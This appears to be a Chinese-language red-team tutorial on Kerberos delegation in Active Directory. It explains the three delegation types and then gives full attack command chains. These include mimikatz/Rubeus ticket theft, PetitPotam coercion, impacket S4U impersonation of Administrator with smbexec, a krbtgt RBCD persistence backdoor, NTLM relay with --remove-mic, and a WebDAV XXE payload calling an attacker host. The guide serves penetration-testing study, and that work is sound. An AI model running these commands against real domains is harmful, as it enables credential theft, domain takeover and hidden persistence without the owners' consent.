Kerberos Attacks - 委派的原理与利用

image-20250522013405141

委派

什么是委派:

Kerberos 委派是 Kerberos 身份验证协议中的一项功能,允许服务代表用户行事。例如,Web 服务器可以使用 Kerberos 委派来验证用户身份,然后使用该用户身份验证票证代表该用户身份访问后端数据库。

image-20250119223054197

委派分为:

  • 非约束委派(Unconstrained Delegation):允许被委派的服务账户以委派用户的身份访问任何服务,存在较大的安全风险
  • 约束委派(Constrained Delegation):限制了委派的范围,服务账户只能访问特定的服务,减少了安全风险
  • 基于资源的约束委派(Resource Based Constrained Delegation 也称 RBCD):进一步限制了委派权限,将委派的控制权交给拥有被访问资源的管理员,提高了安全性

域中能够委派的账号类型:

  • 主机账号(机器账户):活动目录中的Computers组内的计算机
  • 服务账户:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加入域内,比如:SQLServer、MYSQL等;域用户通过注册SPN也能成为服务账号。

委派的配置

非约束委派

选择:信任此计算机来委派任何服务 (仅 Kerberos)(T)

image-20250119234030581

配置了非约束性委派属性的计算机用户的 userAccountControl 属性为:WORKSTATION_TRUST_ACCOUNT | TRUSTED_FOR_DELEGATION,其对应的数是 0x81000=528384

image-20250119234246535

msDS- AllowedToDelegateTo 属性为空

image-20250119234637164

约束委派

约束性委派有两种:

  • 仅使用 Kerberos(K)
  • 使用任何身份验证协议 (N)

一、仅用 Kerberos 协议进行身份验证,不支持协议转换。配置了仅使用 Kerberos(K) 约束性委派的 机器账号 和 服务账号userAccountControl 属性与正常账号一样,其 msDS- AllowedToDelegateTo 属性会有允许被委派的服务的 SPN。

点击添加来添加服务,通过spn查找来查看当前域内的服务,这里就添加一个HOST/Win7.test.com作为实例

image-20250119235138953

随便添加一个服务

image-20250119235449695

msDS- AllowedToDelegateTo 属性:

image-20250119235543550

二、使用任何身份验证协议 (N),支持协议的转换。其 msDS-AllowedToDelegateTo 属性会有允许被委派的服务的 SPN。

配置了使用任何身份验证协议 (N) 约束性委派的 机器账号userAccountControl 属性为: WORKSTATION_TRUST_ACCOUNT | TRUETED_TO_AUTHENTICATE_FOR_DELEGATION,其对应的数是0x1001000=16781312

配置了使用任何身份验证协议 (N) 约束性委派的 服务账号userAccountControl 属性为:NORMAL_ACCOUNT | TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION,其对应的数是0x1000200=16777728

基于资源的约束委派

通过 msDS-AllowedToActOnBehalfOfOtherIdentity 属性进行配置,只能在命令行进行配置

#To set attribute:
#设置属性
Set-ADComputer -Identity MSSQL01$ -PrincipalsAllowedToDelegateToAccount WEB$ -Verbose

#To get
#查询属性
$comp = Get-ADComputer -Identity MSSQL01$ -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
$comp.'msDS-AllowedToActOnBehalfOfOtherIdentity'.Access

流程-非约束委派

Windows Server 2000 首次发布Active Directory时引入,客户端会将其 TGT 的副本委派给某个服务,因此该服务可以使用该 TGT 在网络中代表客户端行事。

以web服务器(HTTP)+文件服务器(FS)作为该实验场景,基本流程:

image-20250126222546137

通信流量为:

image-20250126222706358

  1. 客户端请求TGT(AS-REQ)
  2. KDC返回TGT(AS-REP)
  3. 客户端请求HTTP服务器的ST(TGS-REQ)
  4. KDC返回ST,但是 ok-as-delegate 标志设置为 TRUE,通知客户端所请求的服务已获得授权委托
  5. 客户端再次发起新的TGS-REQ请求,用于请求获取 额外的用户TGT,且要求该TGT开启 forwardable 和 forwarded,即 可转发TGT
  6. KDC返回 可转发TGT
  7. 客户端向HTTP服务器发起AP-REQ请求,该请求包含ST 和 可转发TGT 票证
  8. HTTP服务器将 可转发TGT 缓存在内存中,并使用该TGT向KDC请求FS的ST
  9. KDC返回FS的ST
  10. HTTP收到FS的ST后,调用FS服务
  11. FS将结果返回给HTTP
  12. HTTP再将结果返回给客户端

流程-约束委派

由于非约束委派可以伪造访问任何服务的不安全性,微软在 windows server2003 中引入了约束委派,旨在提供一种可供服务使用的更安全的委派形式,将委派范围限制为仅明确允许的服务,在约束委派中,TGS 请求中不需要包含用户的 TGT。服务本身可以代表用户请求其他服务的服务票证,只要有证据表明它已收到用户的请求即可

对 Kerberos 协议进行了拓展,引入了 S4U。其中 S4U 支持两个子协议:

  • Service for User to Proxy (S4U2proxy) :允许服务账户以用户的身份请求其他服务的服务票据,并将其传递给目标服务,因此具有更广泛的委派权限。
  • Service for User to Self (S4U2self) :允许服务代表用户获取自身的服务票证,但无法代表用户请求其他服务

仅使用 Kerberos

当客户端使用 Kerberos 进行身份验证时,服务可以委托(使用 S4U2Proxy 扩展)

image-20250127003103141

image-20250127005111249

  1. Kerberos 认证

  2. 客户端向 Web 服务器发送 HTTP AP-REQ 消息,请求包括服务票证ST

  3. HTTP服务可以使用 S4U2Proxy 请求额外的服务票证。将用户ST票证附加到TGS-REQ结构的 附加票证 字段中

  4. KDC 将检查附加票证,验证其是否可转发,并通过检查 msDS-AllowedToDelegateTo 属性进一步验证 HTTP服务 是否可以委托给 FS服务。通过TGS-REP将FS的ST返给HTTP服务

  5. HTTP收到FS的ST后,调用FS服务

  6. FS将结果返回给HTTP

  7. HTTP再将结果返回给客户端

使用任何身份验证协议

无论客户端如何进行身份验证,服务都可以委托(使用 S4U2Self 和 S4U2Proxy 扩展)

例如通过 NTLM 身份验证,服务就没有附加票证,此时需要另一种方式来获取客户端代表其委派的票证,服务可以调用 S4U2Self 来要求身份验证服务为其自身生成任意用户的 TGS,随后再调用 S4U2Proxy。

image-20250127003134415

image-20250127005949624

  1. 客户端向 Web 服务器发送 HTTP 请求。由于应用程序不接受 Kerberos,因此将使用 NTLM 执行身份验证
  2. 由于目前没有客户的TGS,无法去获取FS的TGS,所以先使用S4U2Self来请求客户的TGS,存在特定于 S4U2Self 扩展的结构 pA-FOR-X509-USERpA-FOR-USER,其名称为要模拟的客户端
  3. KDC 将验证 DEV 是否配置了启用约束委派,返回代表自身的 可转发TGS
  4. 发起S4U2Proxy 请求FS服务的ST
  5. 返回FS服务的ST
  6. 调用FS服务
  7. FS将结果返回给HTTP
  8. HTTP再将结果返回给客户端

流程-基于资源的约束委派

为了配置受约束的委派,必须拥有SeEnableDelegation特权,该特权很敏感,通常仅授予域管理员。为了使用户/资源更加独立,Windows Server 2012中引入了基于资源的约束委派(RBCD)。

RBCD允许资源配置受信任的帐户委派给他们:仅允许ServiceA能委派访问我的服务

RBCD将委派的控制权交给拥有被访问资源的管理员:ServiceB的管理员可以配置RBCD,不需要域管了

RBCD是通过 msDS-AllowedToActOnBehalfOfOtherIdentity 属性类进行配置

见下图对比,约束委派是 出去能访问到谁,RBCD是 谁能够访问到我

image-20250127012741931

其通信流程与约束委派相同

域内委派关系查询工具

除了 powerview、ADFind、ldapsearch 外还有几种通用查询工具

impacket

impacket-findDelegation -dc-ip 192.168.100.128 test.com/tom:Ab123456

Adinfo

./Adinfo -d test.com --dc 192.168.131.130 -u fff -H 5e956...
./Adinfo -d test.com --dc 192.168.131.130 -u fff -p Qq123456..

攻击-非约束委派

根据其流程,假设serverA的机器账户开启了非约束委派,用户user与KDC进行正常的kerberos认证中,KDC发现serverA开启了非约束委派会在TGS-REP中添加标志位 ok-as-delegate ,随后用户user再次发起TGS-REQ用于请求获取可代表用户身份的 可转发TGT,KDC返回,然后在AP-REQ中将 ST和可转发TGT 二者一起发送给serverA,随后serverA将代表用户身份的 可转发TGT储存在自己的lsass进程中,后续就能利用这个TGT去代表用户user去访问任何服务。

只要想办法让目标机器对非约束委派机器发起认证,就能获取TGT代表用户去访问任何服务

非约束委派查询

在域内探测侦察查询非约束委派的账号有几种方法:

powerview:

Set-ExecutionPolicy Bypass -Scope Process -Force
import-module .\powerview.ps1

# 查询 非约束性委派的计算机/计算机账户
Get-NetComputer -Unconstrained -Domain zjun.com

# 查询 非约束性委派的服务账号
Get-NetUser -Unconstrained -Domain zjun.com | select name

ADFind:

# 查询 非约束性委派的计算机/计算机账户
AdFind.exe -b "DC=test,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

# 查询 非约束性委派的服务账号
AdFind.exe -b "DC=test,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

image-20250515015212828

ldapsearch:

sudo apt install ldap-utils

# 查询 非约束性委派的计算机/计算机账户
ldapsearch -LLL -x -H ldap://172.16.86.136:389 -D "[email protected]" -w "P@ssw0rd" -b "dc=zjun,dc=com" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

# 查询 非约束性委派的服务账号
ldapsearch -LLL -x -H ldap://172.16.86.136:389 -D "[email protected]" -w "P@ssw0rd" -b "dc=zjun,dc=com" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

攻击利用

如果目前拿下了serverA机器中的某些非约束委派账号权限,两种攻击利用思路:

  1. 查看当前内存中有哪些票据,利用票据
  2. 诱导或强迫目标机器(可以是域控)和该机器进行认证,从而导出内存中的目标机器TGT

利用现成票据

如果以前有机器访问过非约束委派机器那么内存中肯定有现成的TGT,直接导出当前票据看

klist
# 查看票据
mimikatz.exe "kerberos::list"

# 域内主机导出票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

# 导入内存
mimikatz.exe "kerberos::ptt [0;cfd6c][email protected]" "exit"

# 访问目标盘
dir \\DC2016.redteam.lab\c$

强制身份认证

可见《NTLM Relay-获取NTLM方式》通过以下几种 漏洞/特性/bug 强制目标主机对非约束委派账号进行身份认证,此时非约束委派机器内存中就有目标TGT

  • PrinterBug
  • PeitiPotam
  • DFSCoerce
  • ShadowCoerce
  • PrivExchange

委派机器监听TGT

Rubeus.exe monitor /interval:3 /targetuser:DC01$ /nowrap

PetitPotam进行强制认证

impacket-PetitPotam -u 'WIN19$' -hashes :c38ca39.. -d xiaorang.lab -dc-ip 172.22.4.7 WIN19.xiaorang.lab 172.22.4.7

将Rubeus接收内容保存为票据

echo 'doIFlDCCBZCg..' | base64 -d > DC.kirbi

攻击-约束委派

根据约束委派流程,配置了约束委派的账号无法缓存目标的TGT,只能通过S4U协议获取某些特定的服务的ST,针对约束委派的攻击有以下思路:如果能拿到约束委派用户(或主机)的密码或者Hash,就可以伪造S4U请求:伪装成服务用户以 任意用户的权限 申请 指定服务的ST

利用前提:设置了 仅信任此用户作为指定服务的委派 - 使用任何身份验证协议 这是因为委派攻击核心是要通过S4U2Self协议去伪造任意用户,如果设置了仅使用 Kerberos,则强制仅使用S4U2Proxy。

比如查出来WIN7$有约束委派,委派的服务为域控的CIFS(Windows文件共享),当拿到WIN7的凭证后就可以伪造域管administrator去访问域控的文件系统

deepseek总结的

攻击场景 目标 SPN
WMI 远程执行 HOST
PowerShell/WinRM 远程 HTTP
DCSync LDAP
文件共享访问 CIFS

环境模拟

为域内用户tom注册SPN使其成为服务账户

setspn -Q test/win7.test.com
setspn -S test/win7.test.com test\tom

image-20250517122014241

随后配置约束委派,将其委派到域控的CIFS服务

image-20250517164652612

通过impacket查询域内委派关系,不同的设置回显也不同,此时代表环境模拟成功

仅使用Kerberos:

image-20250517122710952

使用任何身份验证协议:

image-20250517162011925

约束委派查询

powerview:

# 导入 PowerView 脚本
import-module .\PowerView.ps1

# 查询域内约束性委派的计算机
Get-DomainComputer -TrustedToAuth -Domain zjun.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto |fl

# 查询域内非约束性委派的服务账号
Get-DomainUser -TrustedToAuth -Domain zjun.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto |fl

ADFind:

# 查询域内约束性委派的计算机
AdFind.exe -b "DC=test,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

# 查询约束性委派的服务账号
AdFind.exe -b "DC=test,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

ldapsearch:

# 查询域内约束性委派的计算机
ldapsearch -x -H ldap://192.168.141.145:389 -D "CN=qiyou,CN=Users,DC=qiyou,DC=com" -w password -b "DC=qiyou,DC=com" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"

# 查询非束性委派的服务账号
ldapsearch -x -H ldap://192.168.141.145:389 -D "CN=qiyou,CN=Users,DC=qiyou,DC=com" -w password -b "DC=qiyou,DC=com" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"

攻击利用

有委派账号凭证

如果直接有委派账号的凭证(明文密码、hash)可直接获取特定服务的ST。

  • Rubeus:
# 利用票据
Rubeus.exe asktgt /user:WIN10-1$ /rc4:8f91f8786d308e62c609688886dc7c4c /domain:redteam.lab /dc:DC2016.redteam.lab /nowrap
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC2016.redteam.lab /dc:DC2016.redteam.lab /ptt /ticket:doIE7DCCB

# 直接申请ST
Rubeus.exe s4u /user:tom /rc4:40863c69c2e2ef8ed9c233d9c7b95140 /impersonateuser:Administrator /msdsspn:CIFS/DC-1.test.com /domain:test.com /dc:DC-1.test.com /ptt /nowrap

image-20250517171902589

  • impacket:
# 利用票据
impacket-getTGT -dc-ip 192.168.100.128 test.com/tom:Ab123456
impacket-getST -dc-ip 192.168.100.128 -spn CIFS/DC-1.test.com -impersonate Administrator -k -no-pass test.com/tom

# 直接申请ST
impacket-getST -dc-ip 192.168.100.128 -spn CIFS/DC-1.test.com -impersonate Administrator test.com/tom:Ab123456

使用任何身份验证协议,直接申请特定服务ST

impacket-getST -dc-ip 192.168.100.128 -spn CIFS/DC-1.test.com -impersonate Administrator test.com/tom:Ab123456
export KRB5CCNAME=Administrator@[email protected]
impacket-smbclient -k -no-pass [email protected] -dc-ip 192.168.100.128

image-20250517124114941

仅使用 Kerberos,就会报错 KDC_ERR_BADOPTION(KDC cannot accommodate requested option)

image-20250517125252309

  • kekeo:
# 本地申请服务账号TGT
kekeo.exe "tgt::ask /user:many /domain:xiaorang.lab /password:asd123! /ticket:many.kirbi" "exit"

# 申请特定服务ST
kekeo.exe "tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/DC.xiaorang.lab" "exit"

本地导出委派账号票据

如果没有委派账号的凭证,但是拿下了这台机器中有委派账号,直接提权抓凭证或者导出票据,剩下步骤同上

# 导出票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

攻击-基于资源的约束性委派

传统的约束委派是正向的, 需要以 SeEnableDelegation 权限将 Service A 的 msDS-AllowedToDelegateTo 属性指定为 Service B

而基于资源的约束委派则是反向的,只需要在 Service B 上将 msDS-AllowedToActOnBehalfOfOtherIdentity 属性指定为 Service A,从而指定只能ServiceA来访问自身服务

配置 RBCD 的关键在于 msDS-AllowedToActOnBehalfOfOtherIdentity 属性, 通常以下用户能够修改此属性

  • 将主机加入域的用户 (机器账户中会有一个 msDS-CreatorSID 属性, 使用非域管账户加入域时才会显示)
  • Account Operators (能修改任意域内非域控机器的委派属性)
  • NT AUTHORITY\SELF (该主机的机器账户)

根据RBCD特性,能够模拟其他用户的权限访问自己,所以资源的约束委派只能对自己进行攻击,也就是说 提权操作权限维持

RBCD的攻击都是围绕 msDS-AllowedToActOnBehalfOfOtherIdentity 来进行的,由于该属性只能有特定的用户/用户组修改,所以RBCD攻击核心问题是要控制这些用户,从而修改此属性指向一个具有SPN的账户(S4U2Self只适用于具有SPN的账户),常规利用是指向一个新创建的机器账号(机器账户默认注册RestrictedKrbHost/domain和HOST/domain这两个SPN),利用新机器账号伪造administrator身份访问目标服务达到本地提权目的

RBCD查询

分两种情况:

  • 拿下了一个域账号,查询能修改哪些机器,实现横向/提权
  • 拿下了一台域内机器,反向查询哪些域账号有修改权限,拿下域账号后实现提权

情况一

# 查用户账户SID
whoami /all

# 使用PowerView查经由该用户加入域内的机器账户(主机)
Set-ExecutionPolicy Bypass -Scope Process
Import-Module .\PowerView.ps1;
Get-DomainObjectAcl | ?{$_.SecurityIdentifier -match "S-1-5-21-3222783777-1006235836-3661351843-1108"} | select objectdn,activedirectoryrights

image-20250518004213338

情况二

# 查SID
AdFind.exe -b "DC=test,DC=com" -f "(&(objectClass=computer)(cn=%COMPUTERNAME%))" cn ms-DS-CreatorSID

# 根据SID查账号
AdFind.exe -b "DC=test,DC=com" -f "objectSid:=S-1-5-21-3222783777-1006235836-3661351843-1108" samaccountname

image-20250517235353832

综上能看到域账号tom能修改WIN7


一个能查询域内用户与机器对应关系的工具:

using System;
using System.Security.Principal;
using System.DirectoryServices;

namespace findCreator
{
class Program
{
static void Main(string[] args)
{
DirectoryEntry ldap_conn = new DirectoryEntry("LDAP://dc=test,dc=com");
DirectorySearcher search = new DirectorySearcher(ldap_conn);
String query = "(&(objectClass=computer))"; // 查找计算机
search.Filter = query;

foreach (SearchResult r in search.FindAll())
{
String mS_DS_CreatorSID = "";
String computername = "";
try
{
computername = r.Properties["dNSHostName"][0].ToString();
mS_DS_CreatorSID = (new SecurityIdentifier((byte[])r.Properties["mS-DS-CreatorSID"][0], 0)).ToString();
// Console.WriteLine("{0} {1}\n", computername, mS_DS_CreatorSID);
}
catch
{
;
}
// 再通过 SID 找用户名
String UserQuery = "(&(objectClass=user))";
DirectorySearcher search2 = new DirectorySearcher(ldap_conn);
search2.Filter = UserQuery;

foreach (SearchResult u in search2.FindAll())
{
String user_sid = (new SecurityIdentifier((byte[])u.Properties["objectSid"][0], 0)).ToString();
if (user_sid == mS_DS_CreatorSID)
{
// Console.WriteLine("debug");
String username = u.Properties["name"][0].ToString();
Console.WriteLine("[*] [{0}] -> creator [{1}]", computername, username);
}
}
}
}
}
}

image-20250520010138219

攻击利用

常规利用

思路:

  • 利用可控域用户创建一个机器账户 (每个域用户默认可以创建 10 个机器账户, 即 msDS-MachineAccountQuota (MAQ) 属性)

  • 修改目标主机的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性, 使其指向新创建机器账户的 SID

  • 利用该机器账户的凭证通过 S4U 协议申请委派至目标主机的 ST 票据, 实现本地提权/横向移动

首先利用域账号创建机器账户

impacket-addcomputer -computer-name TEST\$ -computer-pass 123456 -dc-host DC-1.test.com -dc-ip 192.168.100.128 test.com/tom:Ab123456

配置 msDS-AllowedToActOnBehalfOfOtherIdentity 属性指向新机器账户

impacket-rbcd -dc-ip 192.168.100.128 -action write -delegate-to WIN7\$ -delegate-from TEST\$ test.com/tom:Ab123456

image-20250518005445422

S4U 协议伪造 Administrator 用户申请 ST

impacket-getST -dc-ip 192.168.100.128 -spn cifs/WIN7.test.com -impersonate Administrator test.com/test\$:123456
export KRB5CCNAME=Administrator@[email protected]
impacket-smbexec -dc-ip 192.168.100.128 -k -no-pass [email protected]

这里要把域控和目标添加到hosts中

192.168.100.128 DC-1.test.com
192.168.100.130 WIN7.test.com

image-20250518010827869

RBCD属性清除

# 替换为目标计算机名称
$ComputerName = "WIN7"

# 执行清除委派配置
Set-ADComputer $ComputerName -Clear "msDS-AllowedToActOnBehalfOfOtherIdentity"

image-20250518020102797

服务账户提权(Rotten Tomato)

参考:https://mp.weixin.qq.com/s/Ue2ULu8vxYHrYEalEzbBSw

除了上述将主机加入域的用户账户能够修改属性,还有一个是 NT AUTHORITY\SELF(机器账户自身),在IIS、MSSQL、 Network Service 等服务账户出网时使用的是本机的机器账户,因此可以发起ldap请求以机器账户的身份修改自身的委派属性,从而提升至本地管理员权限

如果能控制虚拟账户下的某个服务发起ldap请求或者通过relay2ldap是不是一种新提权方式呢 🤔

例如拿下MSSQL后,利用 SharpAllowedToAct 添加机器账户并配置委派属性

C:\Users\Public\SharpAllowedToAct.exe -m TEST -p 123456 -t MSSQL

[+] Domain = test.com
[+] Domain Controller = DC-1.test.com
[+] New SAMAccountName = TEST$
[+] Distinguished Name = CN=TEST,CN=Computers,DC=test,DC=com
[+] Machine account TEST added
[+] SID of New Computer: S-1-5-21-3222783777-1006235836-3661351843-1113
[+] Attribute changed successfully
[+] Done!

image-20250520011417685

成功提权

impacket-getST -dc-ip 192.168.100.128 -spn cifs/MSSQL.test.com -impersonate Administrator test.com/test\$:123456
export KRB5CCNAME=Administrator@[email protected]
impacket-smbexec -dc-ip 192.168.100.128 -k -no-pass [email protected]

image-20250520011847537

RBCD后门

用作域控的权限维持,拿下域控后,设置 krbtgt 服务的委派属性为指定后门账户

# 添加机器账户
impacket-addcomputer -computer-name TEST\$ -computer-pass 123456 -dc-host DC-1.test.com -dc-ip 192.168.100.128 test.com/tom:Ab123456

# 设置RBCD
powershell Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount test$

# PTT
impacket-getST -dc-ip 192.168.100.128 -spn krbtgt -impersonate Administrator test.com/test\$:123456
export KRB5CCNAME=Administrator.ccache
impacket-smbexec -dc-ip 192.168.100.128 -k -no-pass [email protected]

NTLM Relay to LDAP

通过不同协议relay2ldap完成RBCD的属性配置,实现RCE

SMB(CVE-2019-1040)

默认情况下, LDAP 的签名策略为协商签名 (是否签名由客户端决定), 当使用 SMB 协议发起 LDAP 请求时, 就会要求 LDAP 服务器对 NTLM 认证请求强制签名, 所以一般来说无法通过 SMB 协议进行 NTLM Relay to LDAP,但是 2019 年爆出了 CVE-2019-1040 漏洞,它能够绕过 NTLM MIC 的防护机制,修改 NTLM 请求中的某些标志位,使得客户端对于 SMB 发起的 LDAP 请求不要求签名,从而实现 NTLM Relay

通过 强制认证 + RBCD 可以实现普通域账号域内提权、横向移动

如果是攻击域控的话需要有一个辅域环境,因为没法将主域控的ldap请求relay到自身,所以借助辅域控relay到主域控

使用普通域账号添加机器账号

impacket-addcomputer -computer-name TEST\$ -computer-pass 123456 -dc-host DC-1.test.com -dc-ip 192.168.100.128 test.com/tom:Ab123456

开启relay,注意设置 --remove-mic

impacket-ntlmrelayx -t ldap://DC-1.test.com -smb2support --remove-mic --delegate-access --escalate-user 'TEST$'

强制域控进行认证

impacket-PetitPotam -d test.com -dc-ip <dc-ip> -u tom -p Ab123456 <kali> <target>

这一块的协议细节和攻击利用场景还有很多需要学习:

CVE-2019-1040配合打印机漏洞实现攻击Exchange进行资源委派攻击域控

CVE-2019-1040配合打印机漏洞实现攻击主域控进行资源委派攻击辅助域控

CVE-2019-1040 Drop The MIC漏洞

HTTP

这里引入一个真实案例:这是一篇“不一样”的真实渗透测试案例分析文章,介绍了利用WEBDAV XXE(JAVA)进行NTLM Relay从而搭配RBCD实现横向移动,其原理是:由于sun.net.www.protocol.http.HttpURLConnection 发送HTTP请求遇到状态码为401的HTTP返回头时,会判断该页面要求使用哪种认证方式,若攻击者回复要求采用NTLM认证则会自动使用当前用户凭据进行认证

image-20250520044458393

开启relay

impacket-ntlmrelayx -t ldap://<dc-ip> --delegate-access --escalate-user 'TEST$'

发起XXE

PROPFIND /webdav/ HTTP/1.1
Host: 192.168.30.20:8080
Connection: close
Content-Length: 249

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE propertyupdate [
<!ENTITY loot SYSTEM "http://192.168.30.40/"> ]>
<D:propertyupdate
xmlns:D="DAV:">
<D:set>
<D:prop>
<a
xmlns="http://192.168.30.40/">&loot;
</a>
</D:prop>
</D:set>
</D:propertyupdate>

WebDAV

原理文章:Privilege Escalation - NTLM Relay over HTTP (Webdav)

因为 SMB 协议导致协商签名的服务器对 NTLM 认证请求强制签名的原因,让攻击角度转向了那些不支持签名的客户端,例如 HTTP、WebDAV等

WebDAV(Web-based Distributed Authoring and Versioning,基于 Web 的分布式编写和版本控制)是一种基于 HTTP 的通信协议,扩展了几个 HTTP 标准方法,在强制身份验证中,我们可以通过 WebDAV 代替 SMB,并通过以下格式的 UNC 路径访问攻击者的 HTTP 服务器,从而在 Relay To LDAP/s 中绕过签名

\\evilhost@80\webdav\test.txt

当对启用 WebDAV 的 UNC 路径触发文件操作时,客户端主机将与 WebDAV 服务器执行如下交互过程:

  1. 客户端发出一个 OPTIONS 方法来发现服务器支持的请求方法
  2. 如果支持 PROPFIND 方法,则发出 PROPFIND 请求来发现目录结构
  3. 如果服务器以 401 Unauthorized 响应并通过 WWW-Authenticate 标头请求 NTLM 身份验证,则 WebDAV 将继续启动 NTLM 质询响应身份验证,最终将 Net-NTLM Hash 提供给服务器

尽管安装并启用 WebClient 服务是 Workstation 版本系统上的默认设置,但并不适用于 Server 版本系统。在 Server 版本系统上,我们仍然需要通过附加功能来安装并启用 WebDAV 组件。但是低权限用户仍然可以通过调用服务控制管理器(Services Control Manager,SCM)来启动 WebClient 服务:

#include <windows.h>
#include <evntprov.h>
#include <iostream>

void StartWebClientService()
{
REGHANDLE hReg;
bool success = false;
const GUID WebClientServiceTrigger =
{ 0x22B6D684, 0xFA63, 0x4578,
{ 0x87, 0xC9, 0xEF, 0xFC, 0xBE, 0x66, 0x43, 0xC7 } };

if (EventRegister(&WebClientServiceTrigger, NULL, NULL, &hReg) == ERROR_SUCCESS)
{
EVENT_DESCRIPTOR eDesc;
EventDescCreate(&eDesc, 1, 0, 0, 4, 0, 0, 0);
success = EventWrite(hReg, &eDesc, 0, nullptr) == ERROR_SUCCESS;
EventUnregister(hReg);
}

// Now wait for the service to be running

SC_HANDLE schSCM;
SC_HANDLE schSvc;
SERVICE_STATUS ssStatus;
schSCM = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
if (NULL == schSCM)
printf("[-] Failed OpenSCManager: %d\n", GetLastError());

schSvc = OpenService(schSCM, L"WebClient", SERVICE_QUERY_STATUS);
if (NULL == schSvc)
printf("[-] Failed OpenService: %d\n", GetLastError());
do
QueryServiceStatus(schSvc, &ssStatus);
while (ssStatus.dwCurrentState != SERVICE_RUNNING);
printf("[*] WebClient service started.\n");

CloseServiceHandle(schSvc);
CloseServiceHandle(schSCM);

return;
}

int main()
{
StartWebClientService();
}

在内网对服务进行探测

crackmapexec smb 192.168.30.0/24 -u tom -p Ab123456 -d test.com  -M webdav

为了能让开启了 WebClient 服务的客户端成功访问到我们,我们需要通过已获取的域用户权限,在域内为攻击机添加一个 DNS 记录。因为在默认情况下,WebClient 仅对本地内部网(Local Intranet)或受信任的站点(Trusted Sites)列表中的目标进行身份验证

python3 dnstool.py -u test.com\\tom -p Ab123456 -r evil.test.com -d <kali ip> --action add DC-1.test.com
python3 dnstool.py -u test.com\\tom -p Ab123456 -r evil.test.com -a query DC-1.test.com

攻击机开启ntlmrelayx

impacket-ntlmrelayx -t ldap://<dc-ip> --delegate-access --escalate-user 'TEST$' --no-dump

PetitPotam强制认证

impacket-PetitPotam -d test.com -dc-ip <dc-ip> -u tom -p Ab123456 <kali> <target>

Kerberos Relay to LDAP

参考文章:

https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html

https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html

https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/

https://gist.github.com/tothi/bf6c59d6de5d0c9710f23dae5750c4b9

https://github.com/ShorSec/KrbRelayUp

大概意思好像是可以通过 DCOM 或者 DNS 触发 Kerberos Relay, 并使用当前机器账户的 ST 中继至 LDAP 服务从而配置 RBCD/Shadow Credentials

后续研究 Kerberos Relay 再补充

参考

委派:

Kerberos IV - Delegations

Kerberos 102 - Delegation

Kerberos协议探索系列之委派篇

约束委派

域委派的原理与利用

Kerberos协议之非约束委派

Kerberos协议之约束委派

委派攻击利用:

红队域渗透技术:委派攻击汇总(全)

委派-D4M1TS

Kerberos 域委派攻击

域渗透之委派攻击全集

基于资源的约束委派 (RBCD) 利用总结

kerberos域委派攻击学习

一篇文章讲清楚什么是委派攻击

Abusing Domain Delegation to Attack Active Directory